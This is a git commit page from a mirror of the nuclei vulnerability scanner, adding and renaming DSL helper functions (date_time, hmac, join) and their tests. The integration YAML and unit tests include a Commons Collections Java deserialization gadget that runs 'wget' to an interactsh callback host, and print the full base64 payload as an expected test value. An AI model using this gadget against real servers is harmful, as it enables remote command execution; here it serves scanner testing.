daffainfo
/
nuclei
mirror of https://github.com/daffainfo/nuclei.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #2055 from projectdiscovery/new_dsl_functions 

DSL function changes
dev
Sandeep Singh 2022-06-10 14:33:54 +05:30 committed by GitHub
parent 05ab327697 9fd9892f49
commit 48c95161e3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 279 additions and 178 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

110
integration_tests/http/dsl-functions.yaml
View File

@ -16,57 +16,65 @@ requests:
04: {{base64_py("Hello")}} 04: {{base64_py("Hello")}}
05: {{concat("Hello", "world")}} 05: {{concat("Hello", "world")}}
06: {{contains("Hello", "lo")}} 06: {{contains("Hello", "lo")}}
07: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} 07: {{date_time("%Y-%M-%D")}}
08: {{gzip("Hello")}} 08: {{date_time("%Y-%M-%D", unix_time())}}
09: {{hex_decode("6161")}} 09: {{date_time("%H-%m")}}
10: {{hex_encode("aa")}} 10: {{date_time("02-01-2006 15:04")}}
11: {{html_escape("<body>test</body>")}} 11: {{date_time("02-01-2006 15:04", unix_time())}}
12: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}} 12: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
13: {{len("Hello")}} 13: {{gzip("Hello")}}
14: {{len(5555)}} 14: {{hex_decode("6161")}}
15: {{md5("Hello")}} 15: {{hex_encode("aa")}}
16: {{md5(1234)}} 16: {{hmac("sha1", "test", "scrt")}}
17: {{mmh3("Hello")}} 17: {{hmac("sha256", "test", "scrt")}}
18: {{print_debug(1+2, "Hello")}} 18: {{html_escape("<body>test</body>")}}
19: {{rand_base(5, "abc")}} 19: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
20: {{rand_base(5, "")}} 20: {{join("_", "hello", "world")}}
21: {{rand_base(5)}} 21: {{len("Hello")}}
22: {{rand_char("abc")}} 22: {{len(5555)}}
23: {{rand_char("")}} 23: {{md5("Hello")}}
24: {{rand_char()}} 24: {{md5(1234)}}
25: {{rand_int(1, 10)}} 25: {{mmh3("Hello")}}
26: {{rand_int(10)}} 26: {{print_debug(1+2, "Hello")}}
27: {{rand_int()}} 27: {{rand_base(5, "abc")}}
28: {{rand_ip("192.168.0.0/24")}} 28: {{rand_base(5, "")}}
29: {{rand_ip("2002:c0a8::/24")}} 29: {{rand_base(5)}}
30: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}} 30: {{rand_char("abc")}}
31: {{rand_text_alpha(10, "abc")}} 31: {{rand_char("")}}
32: {{rand_text_alpha(10, "")}} 32: {{rand_char()}}
33: {{rand_text_alpha(10)}} 33: {{rand_int(1, 10)}}
34: {{rand_text_alphanumeric(10, "ab12")}} 34: {{rand_int(10)}}
35: {{rand_text_alphanumeric(10)}} 35: {{rand_int()}}
36: {{rand_text_numeric(10, 123)}} 36: {{rand_ip("192.168.0.0/24")}}
37: {{rand_text_numeric(10)}} 37: {{rand_ip("2002:c0a8::/24")}}
38: {{regex("H([a-z]+)o", "Hello")}} 38: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
39: {{remove_bad_chars("abcd", "bc")}} 39: {{rand_text_alpha(10, "abc")}}
40: {{repeat("a", 5)}} 40: {{rand_text_alpha(10, "")}}
41: {{replace("Hello", "He", "Ha")}} 41: {{rand_text_alpha(10)}}
42: {{replace_regex("He123llo", "(\\d+)", "")}} 42: {{rand_text_alphanumeric(10, "ab12")}}
43: {{reverse("abc")}} 43: {{rand_text_alphanumeric(10)}}
44: {{sha1("Hello")}} 44: {{rand_text_numeric(10, 123)}}
45: {{sha256("Hello")}} 45: {{rand_text_numeric(10)}}
46: {{to_lower("HELLO")}} 46: {{regex("H([a-z]+)o", "Hello")}}
47: {{to_upper("hello")}} 47: {{remove_bad_chars("abcd", "bc")}}
48: {{trim("aaaHelloddd", "ad")}} 48: {{repeat("a", 5)}}
49: {{trim_left("aaaHelloddd", "ad")}} 49: {{replace("Hello", "He", "Ha")}}
50: {{trim_prefix("aaHelloaa", "aa")}} 50: {{replace_regex("He123llo", "(\\d+)", "")}}
51: {{trim_right("aaaHelloddd", "ad")}} 51: {{reverse("abc")}}
52: {{trim_space(" Hello ")}} 52: {{sha1("Hello")}}
53: {{trim_suffix("aaHelloaa", "aa")}} 53: {{sha256("Hello")}}
54: {{unix_time(10)}} 54: {{to_lower("HELLO")}}
55: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}} 55: {{to_upper("hello")}}
56: {{url_encode("https://projectdiscovery.io/test?a=1")}} 56: {{trim("aaaHelloddd", "ad")}}
57: {{wait_for(1)}} 57: {{trim_left("aaaHelloddd", "ad")}}
58: {{trim_prefix("aaHelloaa", "aa")}}
59: {{trim_right("aaaHelloddd", "ad")}}
60: {{trim_space(" Hello ")}}
61: {{trim_suffix("aaHelloaa", "aa")}}
62: {{unix_time(10)}}
63: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
64: {{url_encode("https://projectdiscovery.io/test?a=1")}}
65: {{wait_for(1)}}
extractors: extractors:
- type: regex - type: regex

2
v2/cmd/integration-test/http.go
View File

@ -256,7 +256,7 @@ func (h *httpDSLFunctions) Execute(filePath string) error {
} }
totalExtracted := strings.Split(submatch[1], ",") totalExtracted := strings.Split(submatch[1], ",")
numberOfDslFunctions := 57 numberOfDslFunctions := 65
if len(totalExtracted) != numberOfDslFunctions { if len(totalExtracted) != numberOfDslFunctions {
return errors.New("incorrect number of results") return errors.New("incorrect number of results")
} }

226
v2/pkg/operators/common/dsl/dsl.go
View File

@ -4,12 +4,14 @@ import (
"bytes" "bytes"
"compress/gzip" "compress/gzip"
"compress/zlib" "compress/zlib"
"crypto/hmac"
"crypto/md5" "crypto/md5"
"crypto/sha1" "crypto/sha1"
"crypto/sha256" "crypto/sha256"
"encoding/base64" "encoding/base64"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"hash"
"html" "html"
"io" "io"
"math" "math"
@ -45,6 +47,7 @@ var invalidDslFunctionMessageTemplate = "%w. correct method signature %q"
var dslFunctions map[string]dslFunction var dslFunctions map[string]dslFunction
var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`)
var dateFormatRegex = regexp.MustCompile("%([A-Za-z])") var dateFormatRegex = regexp.MustCompile("%([A-Za-z])")
type dslFunction struct { type dslFunction struct {
@ -153,58 +156,29 @@ func init() {
_ = reader.Close() _ = reader.Close()
return string(data), nil return string(data), nil
}), }),
"date": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { "date_time": makeDslWithOptionalArgsFunction(
item := types.ToString(args[0]) "(dateTimeFormat string, optionalUnixTime interface{}) string",
submatches := dateFormatRegex.FindAllStringSubmatch(item, -1) func(arguments ...interface{}) (interface{}, error) {
for _, value := range submatches { dateTimeFormat := types.ToString(arguments[0])
if len(value) < 2 { dateTimeFormatFragment := dateFormatRegex.FindAllStringSubmatch(dateTimeFormat, -1)
continue
argumentsSize := len(arguments)
if argumentsSize < 1 && argumentsSize > 2 {
return nil, errors.New("invalid number of arguments")
} }
now := time.Now()
switch value[1] { currentTime, err := getCurrentTimeFromUserInput(arguments)
case "Y", "y": if err != nil {
item = strings.ReplaceAll(item, value[0], appendSingleDigitZero(strconv.Itoa(now.Year()))) return nil, err
case "M", "m":
item = strings.ReplaceAll(item, value[0], appendSingleDigitZero(strconv.Itoa(int(now.Month()))))
case "D", "d":
item = strings.ReplaceAll(item, value[0], appendSingleDigitZero(strconv.Itoa(now.Day())))
default:
return nil, fmt.Errorf("invalid date format string: %s", value[0])
} }
}
return item, nil if len(dateTimeFormatFragment) > 0 {
}), return doSimpleTimeFormat(dateTimeFormatFragment, currentTime, dateTimeFormat)
"time": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { } else {
item := types.ToString(args[0]) return currentTime.Format(dateTimeFormat), nil
submatches := dateFormatRegex.FindAllStringSubmatch(item, -1)
for _, value := range submatches {
if len(value) < 2 {
continue
} }
now := time.Now() },
switch value[1] { ),
case "H", "h":
item = strings.ReplaceAll(item, value[0], appendSingleDigitZero(strconv.Itoa(now.Hour())))
case "M", "m":
item = strings.ReplaceAll(item, value[0], appendSingleDigitZero(strconv.Itoa(now.Minute())))
case "S", "s":
item = strings.ReplaceAll(item, value[0], appendSingleDigitZero(strconv.Itoa(now.Second())))
default:
return nil, fmt.Errorf("invalid time format string: %s", value[0])
}
}
return item, nil
}),
"timetostring": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
if got, ok := args[0].(time.Time); ok {
return got.String(), nil
}
if got, ok := args[0].(float64); ok {
seconds, nanoseconds := math.Modf(got)
return time.Unix(int64(seconds), int64(nanoseconds)).String(), nil
}
return nil, fmt.Errorf("invalid time format: %T", args[0])
}),
"base64_py": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { "base64_py": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
// python encodes to base64 with lines of 76 bytes terminated by new line "\n" // python encodes to base64 with lines of 76 bytes terminated by new line "\n"
stdBase64 := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0]))) stdBase64 := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
@ -227,6 +201,25 @@ func init() {
decodeString, err := hex.DecodeString(types.ToString(args[0])) decodeString, err := hex.DecodeString(types.ToString(args[0]))
return string(decodeString), err return string(decodeString), err
}), }),
"hmac": makeDslFunction(3, func(args ...interface{}) (interface{}, error) {
hashAlgorithm := args[0]
data := args[1].(string)
secretKey := args[2].(string)
var hashFunction func() hash.Hash
switch hashAlgorithm {
case "sha1", "sha-1":
hashFunction = sha1.New
case "sha256", "sha-256":
hashFunction = sha256.New
default:
return nil, fmt.Errorf("unsupported hash algorithm: '%s'", hashAlgorithm)
}
h := hmac.New(hashFunction, []byte(secretKey))
h.Write([]byte(data))
return hex.EncodeToString(h.Sum(nil)), nil
}),
"html_escape": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { "html_escape": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
return html.EscapeString(types.ToString(args[0])), nil return html.EscapeString(types.ToString(args[0])), nil
}), }),
@ -234,22 +227,13 @@ func init() {
return html.UnescapeString(types.ToString(args[0])), nil return html.UnescapeString(types.ToString(args[0])), nil
}), }),
"md5": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { "md5": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
hash := md5.Sum([]byte(types.ToString(args[0]))) return toHexEncodedHash(md5.New(), types.ToString(args[0]))
return hex.EncodeToString(hash[:]), nil
}), }),
"sha256": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { "sha256": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
hash := sha256.New() return toHexEncodedHash(sha256.New(), types.ToString(args[0]))
if _, err := hash.Write([]byte(types.ToString(args[0]))); err != nil {
return nil, err
}
return hex.EncodeToString(hash.Sum(nil)), nil
}), }),
"sha1": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { "sha1": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
hash := sha1.New() return toHexEncodedHash(sha1.New(), types.ToString(args[0]))
if _, err := hash.Write([]byte(types.ToString(args[0]))); err != nil {
return nil, err
}
return hex.EncodeToString(hash.Sum(nil)), nil
}), }),
"mmh3": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { "mmh3": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
hasher := murmur3.New32WithSeed(0) hasher := murmur3.New32WithSeed(0)
@ -269,6 +253,24 @@ func init() {
return builder.String(), nil return builder.String(), nil
}, },
), ),
"join": makeDslWithOptionalArgsFunction(
"(separator string, elements ...interface{}) string",
func(arguments ...interface{}) (interface{}, error) {
argumentsSize := len(arguments)
if argumentsSize < 2 {
return nil, errors.New("incorrect number of arguments received")
}
separator := types.ToString(arguments[0])
elements := arguments[1:argumentsSize]
stringElements := make([]string, 0, argumentsSize)
for _, element := range elements {
stringElements = append(stringElements, types.ToString(element))
}
return strings.Join(stringElements, separator), nil
},
),
"regex": makeDslFunction(2, func(args ...interface{}) (interface{}, error) { "regex": makeDslFunction(2, func(args ...interface{}) (interface{}, error) {
compiled, err := regexp.Compile(types.ToString(args[0])) compiled, err := regexp.Compile(types.ToString(args[0]))
if err != nil { if err != nil {
@ -511,26 +513,6 @@ func init() {
} }
} }
// appendSingleDigitZero appends zero at front if not exists already doing two digit padding
func appendSingleDigitZero(value string) string {
if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") {
builder := &strings.Builder{}
builder.WriteRune('0')
builder.WriteString(value)
newVal := builder.String()
return newVal
}
return value
}
func createSignaturePart(numberOfParameters int) string {
params := make([]string, 0, numberOfParameters)
for i := 1; i <= numberOfParameters; i++ {
params = append(params, "arg"+strconv.Itoa(i))
}
return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", "))
}
func makeDslWithOptionalArgsFunction(signaturePart string, dslFunctionLogic govaluate.ExpressionFunction) func(functionName string) dslFunction { func makeDslWithOptionalArgsFunction(signaturePart string, dslFunctionLogic govaluate.ExpressionFunction) func(functionName string) dslFunction {
return func(functionName string) dslFunction { return func(functionName string) dslFunction {
return dslFunction{ return dslFunction{
@ -555,6 +537,14 @@ func makeDslFunction(numberOfParameters int, dslFunctionLogic govaluate.Expressi
} }
} }
func createSignaturePart(numberOfParameters int) string {
params := make([]string, 0, numberOfParameters)
for i := 1; i <= numberOfParameters; i++ {
params = append(params, "arg"+strconv.Itoa(i))
}
return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", "))
}
// HelperFunctions returns the dsl helper functions // HelperFunctions returns the dsl helper functions
func HelperFunctions() map[string]govaluate.ExpressionFunction { func HelperFunctions() map[string]govaluate.ExpressionFunction {
helperFunctions := make(map[string]govaluate.ExpressionFunction, len(dslFunctions)) helperFunctions := make(map[string]govaluate.ExpressionFunction, len(dslFunctions))
@ -608,8 +598,6 @@ func getDslFunctionSignatures() []string {
return result return result
} }
var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`)
func colorizeDslFunctionSignatures() []string { func colorizeDslFunctionSignatures() []string {
signatures := getDslFunctionSignatures() signatures := getDslFunctionSignatures()
@ -675,3 +663,75 @@ func randSeq(base string, n int) string {
} }
return string(b) return string(b)
} }
func toHexEncodedHash(hashToUse hash.Hash, data string) (interface{}, error) {
if _, err := hashToUse.Write([]byte(data)); err != nil {
return nil, err
}
return hex.EncodeToString(hashToUse.Sum(nil)), nil
}
func doSimpleTimeFormat(dateTimeFormatFragment [][]string, currentTime time.Time, dateTimeFormat string) (interface{}, error) {
for _, currentFragment := range dateTimeFormatFragment {
if len(currentFragment) < 2 {
continue
}
prefixedFormatFragment := currentFragment[0]
switch currentFragment[1] {
case "Y", "y":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Year())
case "M":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, int(currentTime.Month()))
case "D", "d":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Day())
case "H", "h":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Hour())
case "m":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Minute())
case "S", "s":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Second())
default:
return nil, fmt.Errorf("invalid date time format string: %s", prefixedFormatFragment)
}
}
return dateTimeFormat, nil
}
func getCurrentTimeFromUserInput(arguments []interface{}) (time.Time, error) {
var currentTime time.Time
if len(arguments) == 2 {
switch inputUnixTime := arguments[1].(type) {
case time.Time:
currentTime = inputUnixTime
case string:
unixTime, err := strconv.ParseInt(inputUnixTime, 10, 64)
if err != nil {
return time.Time{}, errors.New("invalid argument type")
}
currentTime = time.Unix(unixTime, 0)
case int64, float64:
currentTime = time.Unix(int64(inputUnixTime.(float64)), 0)
default:
return time.Time{}, errors.New("invalid argument type")
}
} else {
currentTime = time.Now()
}
return currentTime, nil
}
func formatDateTime(inputFormat string, matchValue string, timeFragment int) string {
return strings.ReplaceAll(inputFormat, matchValue, appendSingleDigitZero(strconv.Itoa(timeFragment)))
}
// appendSingleDigitZero appends zero at front if not exists already doing two digit padding
func appendSingleDigitZero(value string) string {
if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") {
builder := &strings.Builder{}
builder.WriteRune('0')
builder.WriteString(value)
newVal := builder.String()
return newVal
}
return value
}

117
v2/pkg/operators/common/dsl/dsl_test.go
View File

@ -51,16 +51,44 @@ func TestDSLGzipSerialize(t *testing.T) {
require.Equal(t, "hello world", data.(string), "could not get gzip encoded data") require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
} }
func TestTimeToStringDSLFunction(t *testing.T) { func TestDateTimeDSLFunction(t *testing.T) {
compiled, err := govaluate.NewEvaluableExpressionWithFunctions("timetostring(data)", HelperFunctions())
require.Nil(t, err, "could not compile encoder")
data := time.Now() testDateTimeFormat := func(t *testing.T, dateTimeFormat string, dateTimeFunction *govaluate.EvaluableExpression, expectedFormattedTime string, currentUnixTime int64) {
result, err := compiled.Evaluate(map[string]interface{}{"data": data}) dslFunctionParameters := map[string]interface{}{"dateTimeFormat": dateTimeFormat}
require.Nil(t, err, "could not evaluate compare time")
require.Equal(t, data.String(), result.(string), "could not get correct time format string") if currentUnixTime != 0 {
dslFunctionParameters["unixTime"] = currentUnixTime
}
result, err := dateTimeFunction.Evaluate(dslFunctionParameters)
require.Nil(t, err, "could not evaluate compare time")
require.Equal(t, expectedFormattedTime, result.(string), "could not get correct time format string")
}
t.Run("with Unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat)", HelperFunctions())
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, 0)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, 0)
})
t.Run("without Unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat, unixTime)", HelperFunctions())
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
currentUnixTime := currentTime.Unix()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, currentUnixTime)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, currentUnixTime)
})
} }
func TestDslFunctionSignatures(t *testing.T) { func TestDslFunctionSignatures(t *testing.T) {
type testCase struct { type testCase struct {
methodName string methodName string
@ -111,15 +139,17 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
compare_versions(firstVersion, constraints ...string) bool compare_versions(firstVersion, constraints ...string) bool
concat(args ...interface{}) string concat(args ...interface{}) string
contains(arg1, arg2 interface{}) interface{} contains(arg1, arg2 interface{}) interface{}
date(arg1 interface{}) interface{} date_time(dateTimeFormat string, optionalUnixTime interface{}) string
dec_to_hex(arg1 interface{}) interface{} dec_to_hex(arg1 interface{}) interface{}
generate_java_gadget(arg1, arg2, arg3 interface{}) interface{} generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
gzip(arg1 interface{}) interface{} gzip(arg1 interface{}) interface{}
gzip_decode(arg1 interface{}) interface{} gzip_decode(arg1 interface{}) interface{}
hex_decode(arg1 interface{}) interface{} hex_decode(arg1 interface{}) interface{}
hex_encode(arg1 interface{}) interface{} hex_encode(arg1 interface{}) interface{}
hmac(arg1, arg2, arg3 interface{}) interface{}
html_escape(arg1 interface{}) interface{} html_escape(arg1 interface{}) interface{}
html_unescape(arg1 interface{}) interface{} html_unescape(arg1 interface{}) interface{}
join(separator string, elements ...interface{}) string
len(arg1 interface{}) interface{} len(arg1 interface{}) interface{}
md5(arg1 interface{}) interface{} md5(arg1 interface{}) interface{}
mmh3(arg1 interface{}) interface{} mmh3(arg1 interface{}) interface{}
@ -139,8 +169,6 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
reverse(arg1 interface{}) interface{} reverse(arg1 interface{}) interface{}
sha1(arg1 interface{}) interface{} sha1(arg1 interface{}) interface{}
sha256(arg1 interface{}) interface{} sha256(arg1 interface{}) interface{}
time(arg1 interface{}) interface{}
timetostring(arg1 interface{}) interface{}
to_lower(arg1 interface{}) interface{} to_lower(arg1 interface{}) interface{}
to_number(arg1 interface{}) interface{} to_number(arg1 interface{}) interface{}
to_string(arg1 interface{}) interface{} to_string(arg1 interface{}) interface{}
@ -174,40 +202,43 @@ func TestDslExpressions(t *testing.T) {
now := time.Now() now := time.Now()
dslExpressions := map[string]interface{}{ dslExpressions := map[string]interface{}{
`base64("Hello")`: "SGVsbG8=", `base64("Hello")`: "SGVsbG8=",
`base64(1234)`: "MTIzNA==", `base64(1234)`: "MTIzNA==",
`base64_py("Hello")`: "SGVsbG8=\n", `base64_py("Hello")`: "SGVsbG8=\n",
`hex_encode("aa")`: "6161", `hex_encode("aa")`: "6161",
`html_escape("<body>test</body>")`: "&lt;body&gt;test&lt;/body&gt;", `html_escape("<body>test</body>")`: "&lt;body&gt;test&lt;/body&gt;",
`html_unescape("&lt;body&gt;test&lt;/body&gt;")`: "<body>test</body>", `html_unescape("&lt;body&gt;test&lt;/body&gt;")`: "<body>test</body>",
`date("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()), `date_time("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`time("%H-%M")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()), `date_time("%Y-%M-%D", unix_time())`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7", `date_time("%H-%m")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055", `date_time("02-01-2006 15:04", unix_time())`: now.Format("02-01-2006 15:04"),
`mmh3("Hello")`: "316307400", `md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
`remove_bad_chars("abcd", "bc")`: "ad", `md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
`replace("Hello", "He", "Ha")`: "Hallo", `mmh3("Hello")`: "316307400",
`concat("Hello", 123, "world")`: "Hello123world", `remove_bad_chars("abcd", "bc")`: "ad",
`repeat("a", 5)`: "aaaaa", `replace("Hello", "He", "Ha")`: "Hallo",
`repeat("a", "5")`: "aaaaa", `concat("Hello", 123, "world")`: "Hello123world",
`repeat("../", "5")`: "../../../../../", `join("_", "Hello", 123, "world")`: "Hello_123_world",
`repeat(5, 5)`: "55555", `repeat("a", 5)`: "aaaaa",
`replace_regex("He123llo", "(\\d+)", "")`: "Hello", `repeat("a", "5")`: "aaaaa",
`reverse("abc")`: "cba", `repeat("../", "5")`: "../../../../../",
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0", `repeat(5, 5)`: "55555",
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969", `replace_regex("He123llo", "(\\d+)", "")`: "Hello",
`to_lower("HELLO")`: "hello", `reverse("abc")`: "cba",
`to_upper("hello")`: "HELLO", `sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
`trim("aaaHelloddd", "ad")`: "Hello", `sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
`trim_left("aaaHelloddd", "ad")`: "Helloddd", `to_lower("HELLO")`: "hello",
`trim_prefix("aaHelloaa", "aa")`: "Helloaa", `to_upper("hello")`: "HELLO",
`trim_right("aaaHelloddd", "ad")`: "aaaHello", `trim("aaaHelloddd", "ad")`: "Hello",
`trim_space(" Hello ")`: "Hello", `trim_left("aaaHelloddd", "ad")`: "Helloddd",
`trim_suffix("aaHelloaa", "aa")`: "aaHello", `trim_prefix("aaHelloaa", "aa")`: "Helloaa",
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
`trim_space(" Hello ")`: "Hello",
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1", `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1", `url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00", `gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5", `zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello", `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello", `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==", 